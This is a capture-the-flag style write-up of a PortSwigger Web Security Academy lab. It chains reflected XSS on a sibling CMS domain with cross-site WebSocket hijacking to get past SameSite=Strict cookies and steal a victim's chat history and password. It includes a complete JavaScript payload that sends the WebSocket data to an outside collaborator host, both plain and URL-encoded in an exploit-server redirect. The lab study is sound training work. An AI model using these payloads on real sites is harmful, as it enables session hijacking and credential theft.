Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSWSH + XSS + SameSite Strict Bypass via Sibling Domain
Difficulty Practitioner (Expert in practice)
Target 0a40008d047c17b6800c038f002500ad.web-security-academy.net
Sibling Domain cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net
Objective Exfiltrate the victim's chat history via WebSocket hijacking to recover their credentials and log in as them

SameSite Strict Bypass via Sibling Domain — Writeup


Reconnaissance

Initial Observation

No credentials provided — the objective is to steal them from the victim's chat history. The application has a Live Chat feature. HTML injection in chat messages is encoded server-side:

<tr class="message"><th>You:</th><td>&lt;h1&gt;TETO&lt;/h1&gt;</td></tr>
Screenshot

Script tags don't execute either. The chat surface isn't the attack vector.

Screenshot

Adding the target to Burp scope and reviewing traffic. The /chat endpoint loads chat.js. Checking its response headers:

HTTP/2 200 OK
Access-Control-Allow-Origin: https://cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net

A sibling domain is explicitly trusted via CORS: cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net.

Screenshot

The session cookie has SameSite=Strict — cross-site requests from the exploit server won't carry it.

WebSocket — Chat History Retrieval Mechanism

Reviewing WebSocket history in Burp:

Screenshot
Screenshot

Chat messages flow bidirectionally. Reloading the page and watching the WebSocket traffic reveals that the client sends READY after connection open, and the server responds with the full chat history:

Screenshot

CMS Sibling Domain — XSS Discovery

Navigating to the CMS login panel at cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net. The username field reflects input directly into the page:

<p>Invalid username: <script>alert(0)</script></p>
Screenshot

XSS confirmed on the sibling domain. Since both domains share the same registrable domain (web-security-academy.net), they are considered same-site by the browser. A navigation to the CMS domain — even originating from the exploit server — will include cookies flagged SameSite=Strict on the main domain when the CMS makes same-site requests back to it.

Screenshot

Attack Path

Proof of Concept — WebSocket Hijack via Exploit Server

Testing the WebSocket hijack directly from the exploit server first:

<script>
  var ws = new WebSocket('https://0a40008d047c17b6800c038f002500ad.web-security-academy.net/chat');
  ws.onopen = function() {
    ws.send('READY');
  };
  ws.onmessage = function(info) {
    fetch('https://7ownmw93dqwe4wpg5qz7j1n79yfr3ir7.oastify.com/?teto=' + btoa(info.data));
  };
</script>
Screenshot

Collaborator receives data but only gets the CONNECTED message — no chat history. The session cookie isn't attached because the WebSocket request originates cross-site. A new unauthenticated session opens instead of hijacking the victim's existing one.

Pivoting Through the CMS XSS

The fix: inject the WebSocket script via XSS on the CMS domain. Since the CMS is a sibling domain, requests it makes back to the main domain are same-site — the session cookie travels with them.

Confirming the CMS login endpoint accepts GET:

GET /login?username=teto&password=teto HTTP/2
Host: cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net

Response: Invalid username: teto — GET works, and the XSS payload in username will execute.

Screenshot

URL-encoding the WebSocket exfiltration script and embedding it in the username parameter:

GET /login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%27https%3A%2F%2F0a40008d047c17b6800c038f002500ad.web-security-academy.net%2Fchat%27%29%3B+++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%27READY%27%29%3B+++%7D%3B+++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%27https%3A%2F%2Fvlkbjk6raet21km42ewvgpkv6mcf07ow.oastify.com%2F%3Fteto%3D%27+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=adsasdasd HTTP/2

Exploit server body — redirect the victim to the CMS XSS URL:

<script>
    location='https://cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%27https%3A%2F%2F0a40008d047c17b6800c038f002500ad.web-security-academy.net%2Fchat%27%29%3B+++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%27READY%27%29%3B+++%7D%3B+++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%27https%3A%2F%2Fvlkbjk6raet21km42ewvgpkv6mcf07ow.oastify.com%2F%3Fteto%3D%27+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=adsasdasd'
</script>

Delivering to the victim:

Screenshot

Collaborator receives multiple requests:

Screenshot

Decoding the base64 payloads reveals the full chat history including credentials in plaintext:

{"user":"Hal Pline","content":"No problem carlos, it's nd5f9msu0iepq3z4xyb5"}
Screenshot

Logging in as carlos with the recovered password:

Screenshot

Lab solved :P

Resources